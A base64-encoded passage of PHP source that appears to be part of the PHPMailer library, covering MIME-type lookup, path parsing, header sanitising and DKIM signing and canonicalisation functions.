ZGluLm1hY3JvRW5hYmxlZC4xMicsCiAgICAgICAgICAgICd4bHNiJyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5tcy1leGNlbC5zaGVldC5iaW5hcnkubWFjcm9FbmFibGVkLjEyJywKICAgICAgICAgICAgJ2NsYXNzJyA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2RsbCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2RtcycgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2V4ZScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2xoYScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2x6aCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3BzZCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3NlYScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3NvJyAgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ29kYScgICA9PiAnYXBwbGljYXRpb24vb2RhJywKICAgICAgICAgICAgJ3BkZicgICA9PiAnYXBwbGljYXRpb24vcGRmJywKICAgICAgICAgICAgJ2FpJyAgICA9PiAnYXBwbGljYXRpb24vcG9zdHNjcmlwdCcsCiAgICAgICAgICAgICdlcHMnICAgPT4gJ2FwcGxpY2F0aW9uL3Bvc3RzY3JpcHQnLAogICAgICAgICAgICAncHMnICAgID0+ICdhcHBsaWNhdGlvbi9wb3N0c2NyaXB0JywKICAgICAgICAgICAgJ3NtaScgICA9PiAnYXBwbGljYXRpb24vc21pbCcsCiAgICAgICAgICAgICdzbWlsJyAgPT4gJ2FwcGxpY2F0aW9uL3NtaWwnLAogICAgICAgICAgICAnbWlmJyAgID0+ICdhcHBsaWNhdGlvbi92bmQubWlmJywKICAgICAgICAgICAgJ3hscycgICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsJywKICAgICAgICAgICAgJ3BwdCcgICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLXBvd2VycG9pbnQnLAogICAgICAgICAgICAnd2J4bWwnID0+ICdhcHBsaWNhdGlvbi92bmQud2FwLndieG1sJywKICAgICAgICAgICAgJ3dtbGMnICA9PiAnYXBwbGljYXRpb24vdm5kLndhcC53bWxjJywKICAgICAgICAgICAgJ2RjcicgICA9PiAnYXBwbGljYXRpb24veC1kaXJlY3RvcicsCiAgICAgICAgICAgICdkaXInICAgPT4gJ2FwcGxpY2F0aW9uL3gtZGlyZWN0b3InLAogICAgICAgICAgICAnZHhyJyAgID0+ICdhcHBsaWNhdGlvbi94LWRpcmVjdG9yJywKICAgICAgICAgICAgJ2R2aScgICA9PiAnYXBwbGljYXRpb24veC1kdmknLAogICAgICAgICAgICAnZ3RhcicgID0+ICdhcHBsaWNhdGlvbi94LWd0YXInLAogICAgICAgICAgICAncGhwMycgID0+ICdhcHBsaWNhdGlvbi94LWh0dHBkLXBocCcsCiAgICAgICAgICAgICdwaHA0JyAgPT4gJ2FwcGxpY2F0aW9uL3gtaHR0cGQtcGhwJywKICAgICAgICAgICAgJ3BocCcgICA9PiAnYXBwbGljYXRpb24veC1odHRwZC1waHAnLAogICAgICAgICAgICAncGh0bWwnID0+ICdhcHBsaWNhdGlvbi94LWh0dHBkLXBocCcsCiAgICAgICAgICAgICdwaHBzJyAgPT4gJ2FwcGxpY2F0aW9uL3gtaHR0cGQtcGhwLXNvdXJjZScsCiAgICAgICAgICAgICdzd2YnICAgPT4gJ2FwcGxpY2F0aW9uL3gtc2hvY2t3YXZlLWZsYXNoJywKICAgICAgICAgICAgJ3NpdCcgICA9PiAnYXBwbGljYXRpb24veC1zdHVmZml0JywKICAgICAgICAgICAgJ3RhcicgICA9PiAnYXBwbGljYXRpb24veC10YXInLAogICAgICAgICAgICAndGd6JyAgID0+ICdhcHBsaWNhdGlvbi94LXRhcicsCiAgICAgICAgICAgICd4aHQnICAgPT4gJ2FwcGxpY2F0aW9uL3hodG1sK3htbCcsCiAgICAgICAgICAgICd4aHRtbCcgPT4gJ2FwcGxpY2F0aW9uL3hodG1sK3htbCcsCiAgICAgICAgICAgICd6aXAnICAgPT4gJ2FwcGxpY2F0aW9uL3ppcCcsCiAgICAgICAgICAgICdtaWQnICAgPT4gJ2F1ZGlvL21pZGknLAogICAgICAgICAgICAnbWlkaScgID0+ICdhdWRpby9taWRpJywKICAgICAgICAgICAgJ21wMicgICA9PiAnYXVkaW8vbXBlZycsCiAgICAgICAgICAgICdtcDMnICAgPT4gJ2F1ZGlvL21wZWcnLAogICAgICAgICAgICAnbXBnYScgID0+ICdhdWRpby9tcGVnJywKICAgICAgICAgICAgJ2FpZicgICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ2FpZmMnICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ2FpZmYnICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ3JhbScgICA9PiAnYXVkaW8veC1wbi1yZWFsYXVkaW8nLAogICAgICAgICAgICAncm0nICAgID0+ICdhdWRpby94LXBuLXJlYWxhdWRpbycsCiAgICAgICAgICAgICdycG0nICAgPT4gJ2F1ZGlvL3gtcG4tcmVhbGF1ZGlvLXBsdWdpbicsCiAgICAgICAgICAgICdyYScgICAgPT4gJ2F1ZGlvL3gtcmVhbGF1ZGlvJywKICAgICAgICAgICAgJ3dhdicgICA9PiAnYXVkaW8veC13YXYnLAogICAgICAgICAgICAnYm1wJyAgID0+ICdpbWFnZS9ibXAnLAogICAgICAgICAgICAnZ2lmJyAgID0+ICdpbWFnZS9naWYnLAogICAgICAgICAgICAnanBlZycgID0+ICdpbWFnZS9qcGVnJywKICAgICAgICAgICAgJ2pwZScgICA9PiAnaW1hZ2UvanBlZycsCiAgICAgICAgICAgICdqcGcnICAgPT4gJ2ltYWdlL2pwZWcnLAogICAgICAgICAgICAncG5nJyAgID0+ICdpbWFnZS9wbmcnLAogICAgICAgICAgICAndGlmZicgID0+ICdpbWFnZS90aWZmJywKICAgICAgICAgICAgJ3RpZicgICA9PiAnaW1hZ2UvdGlmZicsCiAgICAgICAgICAgICdlbWwnICAgPT4gJ21lc3NhZ2UvcmZjODIyJywKICAgICAgICAgICAgJ2NzcycgICA9PiAndGV4dC9jc3MnLAogICAgICAgICAgICAnaHRtbCcgID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnaHRtJyAgID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnc2h0bWwnID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnbG9nJyAgID0+ICd0ZXh0L3BsYWluJywKICAgICAgICAgICAgJ3RleHQnICA9PiAndGV4dC9wbGFpbicsCiAgICAgICAgICAgICd0eHQnICAgPT4gJ3RleHQvcGxhaW4nLAogICAgICAgICAgICAncnR4JyAgID0+ICd0ZXh0L3JpY2h0ZXh0JywKICAgICAgICAgICAgJ3J0ZicgICA9PiAndGV4dC9ydGYnLAogICAgICAgICAgICAndmNmJyAgID0+ICd0ZXh0L3ZjYXJkJywKICAgICAgICAgICAgJ3ZjYXJkJyA9PiAndGV4dC92Y2FyZCcsCiAgICAgICAgICAgICd4bWwnICAgPT4gJ3RleHQveG1sJywKICAgICAgICAgICAgJ3hzbCcgICA9PiAndGV4dC94bWwnLAogICAgICAgICAgICAnbXBlZycgID0+ICd2aWRlby9tcGVnJywKICAgICAgICAgICAgJ21wZScgICA9PiAndmlkZW8vbXBlZycsCiAgICAgICAgICAgICdtcGcnICAgPT4gJ3ZpZGVvL21wZWcnLAogICAgICAgICAgICAnbW92JyAgID0+ICd2aWRlby9xdWlja3RpbWUnLAogICAgICAgICAgICAncXQnICAgID0+ICd2aWRlby9xdWlja3RpbWUnLAogICAgICAgICAgICAncnYnICAgID0+ICd2aWRlby92bmQucm4tcmVhbHZpZGVvJywKICAgICAgICAgICAgJ2F2aScgICA9PiAndmlkZW8veC1tc3ZpZGVvJywKICAgICAgICAgICAgJ21vdmllJyA9PiAndmlkZW8veC1zZ2ktbW92aWUnCiAgICAgICAgKTsKICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cyhzdHJ0b2xvd2VyKCRleHQpLCAkbWltZXMpKSB7CiAgICAgICAgICAgIHJldHVybiAkbWltZXNbc3RydG9sb3dlcigkZXh0KV07CiAgICAgICAgfQogICAgICAgIHJldHVybiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJzsKICAgIH0KCiAgICAvKioKICAgICAqIE1hcCBhIGZpbGUgbmFtZSB0byBhIE1JTUUgdHlwZS4KICAgICAqIERlZmF1bHRzIHRvICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLCBpLmUuLiBhcmJpdHJhcnkgYmluYXJ5IGRhdGEuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZSBBIGZpbGUgbmFtZSBvciBmdWxsIHBhdGgsIGRvZXMgbm90IG5lZWQgdG8gZXhpc3QgYXMgYSBmaWxlCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGZpbGVuYW1lVG9UeXBlKCRmaWxlbmFtZSkKICAgIHsKICAgICAgICAvLyBJbiBjYXNlIHRoZSBwYXRoIGlzIGEgVVJMLCBzdHJpcCBhbnkgcXVlcnkgc3RyaW5nIGJlZm9yZSBnZXR0aW5nIGV4dGVuc2lvbgogICAgICAgICRxcG9zID0gc3RycG9zKCRmaWxlbmFtZSwgJz8nKTsKICAgICAgICBpZiAoZmFsc2UgIT09ICRxcG9zKSB7CiAgICAgICAgICAgICRmaWxlbmFtZSA9IHN1YnN0cigkZmlsZW5hbWUsIDAsICRxcG9zKTsKICAgICAgICB9CiAgICAgICAgJHBhdGhpbmZvID0gc2VsZjo6bWJfcGF0aGluZm8oJGZpbGVuYW1lKTsKICAgICAgICByZXR1cm4gc2VsZjo6X21pbWVfdHlwZXMoJHBhdGhpbmZvWydleHRlbnNpb24nXSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBNdWx0aS1ieXRlLXNhZmUgcGF0aGluZm8gcmVwbGFjZW1lbnQuCiAgICAgKiBEcm9wLWluIHJlcGxhY2VtZW50IGZvciBwYXRoaW5mbygpLCBidXQgbXVsdGlieXRlLXNhZmUsIGNyb3NzLXBsYXRmb3JtLXNhZmUsIG9sZC12ZXJzaW9uLXNhZmUuCiAgICAgKiBXb3JrcyBzaW1pbGFybHkgdG8gdGhlIG9uZSBpbiBQSFAgPj0gNS4yLjAKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24ucGF0aGluZm8ucGhwIzEwNzQ2MQogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBBIGZpbGVuYW1lIG9yIHBhdGgsIGRvZXMgbm90IG5lZWQgdG8gZXhpc3QgYXMgYSBmaWxlCiAgICAgKiBAcGFyYW0gaW50ZWdlcnxzdHJpbmcgJG9wdGlvbnMgRWl0aGVyIGEgUEFUSElORk9fKiBjb25zdGFudCwKICAgICAqICAgICAgb3IgYSBzdHJpbmcgbmFtZSB0byByZXR1cm4gb25seSB0aGUgc3BlY2lmaWVkIHBpZWNlLCBhbGxvd3MgJ2ZpbGVuYW1lJyB0byB3b3JrIG9uIFBIUCA8IDUuMgogICAgICogQHJldHVybiBzdHJpbmd8YXJyYXkKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBtYl9wYXRoaW5mbygkcGF0aCwgJG9wdGlvbnMgPSBudWxsKQogICAgewogICAgICAgICRyZXQgPSBhcnJheSgnZGlybmFtZScgPT4gJycsICdiYXNlbmFtZScgPT4gJycsICdleHRlbnNpb24nID0+ICcnLCAnZmlsZW5hbWUnID0+ICcnKTsKICAgICAgICAkcGF0aGluZm8gPSBhcnJheSgpOwogICAgICAgIGlmIChwcmVnX21hdGNoKCclXiguKj8pW1xcXFwvXSooKFteL1xcXFxdKj8pKFwuKFteXC5cXFxcL10rPyl8KSlbXFxcXC9cLl0qJCVpbScsICRwYXRoLCAkcGF0aGluZm8pKSB7CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDEsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2Rpcm5hbWUnXSA9ICRwYXRoaW5mb1sxXTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cygyLCAkcGF0aGluZm8pKSB7CiAgICAgICAgICAgICAgICAkcmV0WydiYXNlbmFtZSddID0gJHBhdGhpbmZvWzJdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDUsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2V4dGVuc2lvbiddID0gJHBhdGhpbmZvWzVdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDMsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2ZpbGVuYW1lJ10gPSAkcGF0aGluZm9bM107CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgc3dpdGNoICgkb3B0aW9ucykgewogICAgICAgICAgICBjYXNlIFBBVEhJTkZPX0RJUk5BTUU6CiAgICAgICAgICAgIGNhc2UgJ2Rpcm5hbWUnOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2Rpcm5hbWUnXTsKICAgICAgICAgICAgY2FzZSBQQVRISU5GT19CQVNFTkFNRToKICAgICAgICAgICAgY2FzZSAnYmFzZW5hbWUnOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2Jhc2VuYW1lJ107CiAgICAgICAgICAgIGNhc2UgUEFUSElORk9fRVhURU5TSU9OOgogICAgICAgICAgICBjYXNlICdleHRlbnNpb24nOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2V4dGVuc2lvbiddOwogICAgICAgICAgICBjYXNlIFBBVEhJTkZPX0ZJTEVOQU1FOgogICAgICAgICAgICBjYXNlICdmaWxlbmFtZSc6CiAgICAgICAgICAgICAgICByZXR1cm4gJHJldFsnZmlsZW5hbWUnXTsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIHJldHVybiAkcmV0OwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFNldCBvciByZXNldCBpbnN0YW5jZSBwcm9wZXJ0aWVzLgogICAgICogWW91IHNob3VsZCBhdm9pZCB0aGlzIGZ1bmN0aW9uIC0gaXQncyBtb3JlIHZlcmJvc2UsIGxlc3MgZWZmaWNpZW50LCBtb3JlIGVycm9yLXByb25lIGFuZAogICAgICogaGFyZGVyIHRvIGRlYnVnIHRoYW4gc2V0dGluZyBwcm9wZXJ0aWVzIGRpcmVjdGx5LgogICAgICogVXNhZ2UgRXhhbXBsZToKICAgICAqIGAkbWFpbC0+c2V0KCdTTVRQU2VjdXJlJywgJ3RscycpO2AKICAgICAqICAgaXMgdGhlIHNhbWUgYXM6CiAgICAgKiBgJG1haWwtPlNNVFBTZWN1cmUgPSAndGxzJztgCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZSBUaGUgcHJvcGVydHkgbmFtZSB0byBzZXQKICAgICAqIEBwYXJhbSBtaXhlZCAkdmFsdWUgVGhlIHZhbHVlIHRvIHNldCB0aGUgcHJvcGVydHkgdG8KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICogQFRPRE8gU2hvdWxkIHRoaXMgbm90IGJlIHVzaW5nIHRoZSBfX3NldCgpIG1hZ2ljIGZ1bmN0aW9uPwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0KCRuYW1lLCAkdmFsdWUgPSAnJykKICAgIHsKICAgICAgICBpZiAocHJvcGVydHlfZXhpc3RzKCR0aGlzLCAkbmFtZSkpIHsKICAgICAgICAgICAgJHRoaXMtPiRuYW1lID0gJHZhbHVlOwogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJHRoaXMtPmxhbmcoJ3ZhcmlhYmxlX3NldCcpIC4gJG5hbWUpOwogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogU3RyaXAgbmV3bGluZXMgdG8gcHJldmVudCBoZWFkZXIgaW5qZWN0aW9uLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0cgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNlY3VyZUhlYWRlcigkc3RyKQogICAgewogICAgICAgIHJldHVybiB0cmltKHN0cl9yZXBsYWNlKGFycmF5KCJcciIsICJcbiIpLCAnJywgJHN0cikpOwogICAgfQoKICAgIC8qKgogICAgICogTm9ybWFsaXplIGxpbmUgYnJlYWtzIGluIGEgc3RyaW5nLgogICAgICogQ29udmVydHMgVU5JWCBMRiwgTWFjIENSIGFuZCBXaW5kb3dzIENSTEYgbGluZSBicmVha3MgaW50byBhIHNpbmdsZSBsaW5lIGJyZWFrIGZvcm1hdC4KICAgICAqIERlZmF1bHRzIHRvIENSTEYgKGZvciBtZXNzYWdlIGJvZGllcykgYW5kIHByZXNlcnZlcyBjb25zZWN1dGl2ZSBicmVha3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICR0ZXh0CiAgICAgKiBAcGFyYW0gc3RyaW5nICRicmVha3R5cGUgV2hhdCBraW5kIG9mIGxpbmUgYnJlYWsgdG8gdXNlLCBkZWZhdWx0cyB0byBDUkxGCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBub3JtYWxpemVCcmVha3MoJHRleHQsICRicmVha3R5cGUgPSAiXHJcbiIpCiAgICB7CiAgICAgICAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcclxufFxyfFxuKS9tcycsICRicmVha3R5cGUsICR0ZXh0KTsKICAgIH0KCiAgICAvKioKICAgICAqIFNldCB0aGUgcHVibGljIGFuZCBwcml2YXRlIGtleSBmaWxlcyBhbmQgcGFzc3dvcmQgZm9yIFMvTUlNRSBzaWduaW5nLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGNlcnRfZmlsZW5hbWUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGtleV9maWxlbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAka2V5X3Bhc3MgUGFzc3dvcmQgZm9yIHByaXZhdGUga2V5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRleHRyYWNlcnRzX2ZpbGVuYW1lIE9wdGlvbmFsIHBhdGggdG8gY2hhaW4gY2VydGlmaWNhdGUKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNpZ24oJGNlcnRfZmlsZW5hbWUsICRrZXlfZmlsZW5hbWUsICRrZXlfcGFzcywgJGV4dHJhY2VydHNfZmlsZW5hbWUgPSAnJykKICAgIHsKICAgICAgICAkdGhpcy0+c2lnbl9jZXJ0X2ZpbGUgPSAkY2VydF9maWxlbmFtZTsKICAgICAgICAkdGhpcy0+c2lnbl9rZXlfZmlsZSA9ICRrZXlfZmlsZW5hbWU7CiAgICAgICAgJHRoaXMtPnNpZ25fa2V5X3Bhc3MgPSAka2V5X3Bhc3M7CiAgICAgICAgJHRoaXMtPnNpZ25fZXh0cmFjZXJ0c19maWxlID0gJGV4dHJhY2VydHNfZmlsZW5hbWU7CiAgICB9CgogICAgLyoqCiAgICAgKiBRdW90ZWQtUHJpbnRhYmxlLWVuY29kZSBhIERLSU0gaGVhZGVyLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHR4dAogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIERLSU1fUVAoJHR4dCkKICAgIHsKICAgICAgICAkbGluZSA9ICcnOwogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8IHN0cmxlbigkdHh0KTsgJGkrKykgewogICAgICAgICAgICAkb3JkID0gb3JkKCR0eHRbJGldKTsKICAgICAgICAgICAgaWYgKCgoMHgyMSA8PSAkb3JkKSAmJiAoJG9yZCA8PSAweDNBKSkgfHwgJG9yZCA9PSAweDNDIHx8ICgoMHgzRSA8PSAkb3JkKSAmJiAoJG9yZCA8PSAweDdFKSkpIHsKICAgICAgICAgICAgICAgICRsaW5lIC49ICR0eHRbJGldOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJGxpbmUgLj0gJz0nIC4gc3ByaW50ZignJTAyWCcsICRvcmQpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkbGluZTsKICAgIH0KCiAgICAvKioKICAgICAqIEdlbmVyYXRlIGEgREtJTSBzaWduYXR1cmUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc2lnbkhlYWRlcgogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEByZXR1cm4gc3RyaW5nIFRoZSBES0lNIHNpZ25hdHVyZSB2YWx1ZQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gREtJTV9TaWduKCRzaWduSGVhZGVyKQogICAgewogICAgICAgIGlmICghZGVmaW5lZCgnUEtDUzdfVEVYVCcpKSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXh0ZW5zaW9uX21pc3NpbmcnKSAuICdvcGVuc3NsJyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgIH0KICAgICAgICAkcHJpdktleVN0ciA9ICFlbXB0eSgkdGhpcy0+REtJTV9wcml2YXRlX3N0cmluZykgPyAkdGhpcy0+REtJTV9wcml2YXRlX3N0cmluZyA6IGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5ES0lNX3ByaXZhdGUpOwogICAgICAgIGlmICgnJyAhPSAkdGhpcy0+REtJTV9wYXNzcGhyYXNlKSB7CiAgICAgICAgICAgICRwcml2S2V5ID0gb3BlbnNzbF9wa2V5X2dldF9wcml2YXRlKCRwcml2S2V5U3RyLCAkdGhpcy0+REtJTV9wYXNzcGhyYXNlKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcHJpdktleSA9IG9wZW5zc2xfcGtleV9nZXRfcHJpdmF0ZSgkcHJpdktleVN0cik7CiAgICAgICAgfQogICAgICAgIC8vV29ya2Fyb3VuZCBmb3IgbWlzc2luZyBkaWdlc3QgYWxnb3JpdGhtcyBpbiBvbGQgUEhQICYgT3BlblNTTCB2ZXJzaW9ucwogICAgICAgIC8vQGxpbmsgaHR0cDovL3N0YWNrb3ZlcmZsb3cuY29tL2EvMTExMTczMzgvMzMzMzQwCiAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMy4wJykgPj0gMCBhbmQKICAgICAgICAgICAgaW5fYXJyYXkoJ3NoYTI1NldpdGhSU0FFbmNyeXB0aW9uJywgb3BlbnNzbF9nZXRfbWRfbWV0aG9kcyh0cnVlKSkpIHsKICAgICAgICAgICAgaWYgKG9wZW5zc2xfc2lnbigkc2lnbkhlYWRlciwgJHNpZ25hdHVyZSwgJHByaXZLZXksICdzaGEyNTZXaXRoUlNBRW5jcnlwdGlvbicpKSB7CiAgICAgICAgICAgICAgICBvcGVuc3NsX3BrZXlfZnJlZSgkcHJpdktleSk7CiAgICAgICAgICAgICAgICByZXR1cm4gYmFzZTY0X2VuY29kZSgkc2lnbmF0dXJlKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRwaW5mbyA9IG9wZW5zc2xfcGtleV9nZXRfZGV0YWlscygkcHJpdktleSk7CiAgICAgICAgICAgICRoYXNoID0gaGFzaCgnc2hhMjU2JywgJHNpZ25IZWFkZXIpOwogICAgICAgICAgICAvLydNYWdpYycgY29uc3RhbnQgZm9yIFNIQTI1NiBmcm9tIFJGQzM0NDcKICAgICAgICAgICAgLy9AbGluayBodHRwczovL3Rvb2xzLmlldGYub3JnL2h0bWwvcmZjMzQ0NyNwYWdlLTQzCiAgICAgICAgICAgICR0ID0gJzMwMzEzMDBkMDYwOTYwODY0ODAxNjUwMzA0MDIwMTA1MDAwNDIwJyAuICRoYXNoOwogICAgICAgICAgICAkcHNsZW4gPSAkcGluZm9bJ2JpdHMnXSAvIDggLSAoc3RybGVuKCR0KSAvIDIgKyAzKTsKICAgICAgICAgICAgJGViID0gcGFjaygnSConLCAnMDAwMScgLiBzdHJfcmVwZWF0KCdGRicsICRwc2xlbikgLiAnMDAnIC4gJHQpOwoKICAgICAgICAgICAgaWYgKG9wZW5zc2xfcHJpdmF0ZV9lbmNyeXB0KCRlYiwgJHNpZ25hdHVyZSwgJHByaXZLZXksIE9QRU5TU0xfTk9fUEFERElORykpIHsKICAgICAgICAgICAgICAgIG9wZW5zc2xfcGtleV9mcmVlKCRwcml2S2V5KTsKICAgICAgICAgICAgICAgIHJldHVybiBiYXNlNjRfZW5jb2RlKCRzaWduYXR1cmUpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIG9wZW5zc2xfcGtleV9mcmVlKCRwcml2S2V5KTsKICAgICAgICByZXR1cm4gJyc7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZW5lcmF0ZSBhIERLSU0gY2Fub25pY2FsaXphdGlvbiBoZWFkZXIuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc2lnbkhlYWRlciBIZWFkZXIKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBES0lNX0hlYWRlckMoJHNpZ25IZWFkZXIpCiAgICB7CiAgICAgICAgJHNpZ25IZWFkZXIgPSBwcmVnX3JlcGxhY2UoJy9cclxuXHMrLycsICcgJywgJHNpZ25IZWFkZXIpOwogICAgICAgICRsaW5lcyA9IGV4cGxvZGUoIlxyXG4iLCAkc2lnbkhlYWRlcik7CiAgICAgICAgZm9yZWFjaCAoJGxpbmVzIGFzICRrZXkgPT4gJGxpbmUpIHsKICAgICAgICAgICAgbGlzdCgkaGVhZGluZywgJHZhbHVlKSA9IGV4cGxvZGUoJzonLCAkbGluZSwgMik7CiAgICAgICAgICAgICRoZWFkaW5nID0gc3RydG9sb3dlcigkaGVhZGluZyk7CiAgICAgICAgICAgICR2YWx1ZSA9IHByZWdfcmVwbGFjZSgnL1xzezIsfS8nLCAnICcsICR2YWx1ZSk7IC8vIENvbXByZXNzIHVzZWxlc3Mgc3BhY2VzCiAgICAgICAgICAgICRsaW5lc1ska2V5XSA9ICRoZWFkaW5nIC4gJzonIC4gdHJpbSgkdmFsdWUpOyAvLyBEb24ndCBmb3JnZXQgdG8gcmVtb3ZlIFdTUCBhcm91bmQgdGhlIHZhbHVlCiAgICAgICAgfQogICAgICAgICRzaWduSGVhZGVyID0gaW1wbG9kZSgiXHJcbiIsICRsaW5lcyk7CiAgICAgICAgcmV0dXJuICRzaWduSGVhZGVyOwogICAgfQoKICAgIC8qKgogICAgICogR2VuZXJhdGUgYSBES0lNIGNhbm9uaWNhbGl6YXRpb24gYm9keS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRib2R5IE1lc3NhZ2UgQm9keQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIERLSU1fQm9keUMoJGJvZHkpCiAgICB7CiAgICAgICAgaWYgKCRib2R5ID09ICcnKSB7CiAgICAgICAgICAgIHJldHVybiAiXHJcbiI7CiAgICAgICAgfQogICAgICAgIC8vIHN0YWJpbGl6ZSBsaW5lIGVuZGluZ3MKICAgICAgICAkYm9keSA9IHN0cl9yZXBsYWNlKCJcclxuIiwgIlxuIiwgJGJvZHkpOwogICAgICAgICRib2R5ID0gc3RyX3JlcGxhY2UoIlxuIiwgIlxyXG4iLCAkYm9keSk7CiAgICAgICAgLy8gRU5EIHN0YWJpbGl6ZSBsaW5lIGVuZGluZ3MKICAgICAgICB3aGlsZSAoc3Vic3RyKCRib2R5LCBzdHJsZW4oJGJvZHkpIC0gNCwgNCkgPT0gIlxyXG5cclxuIikgewogICAgICAgICAgICAkYm9keSA9IHN1YnN0cigkYm9keSwgMCwgc3RybGVuKCRib2R5KSAtIDIpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJGJvZHk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDcmVhdGUgdGhlIERLSU0gaGVhZGVyIG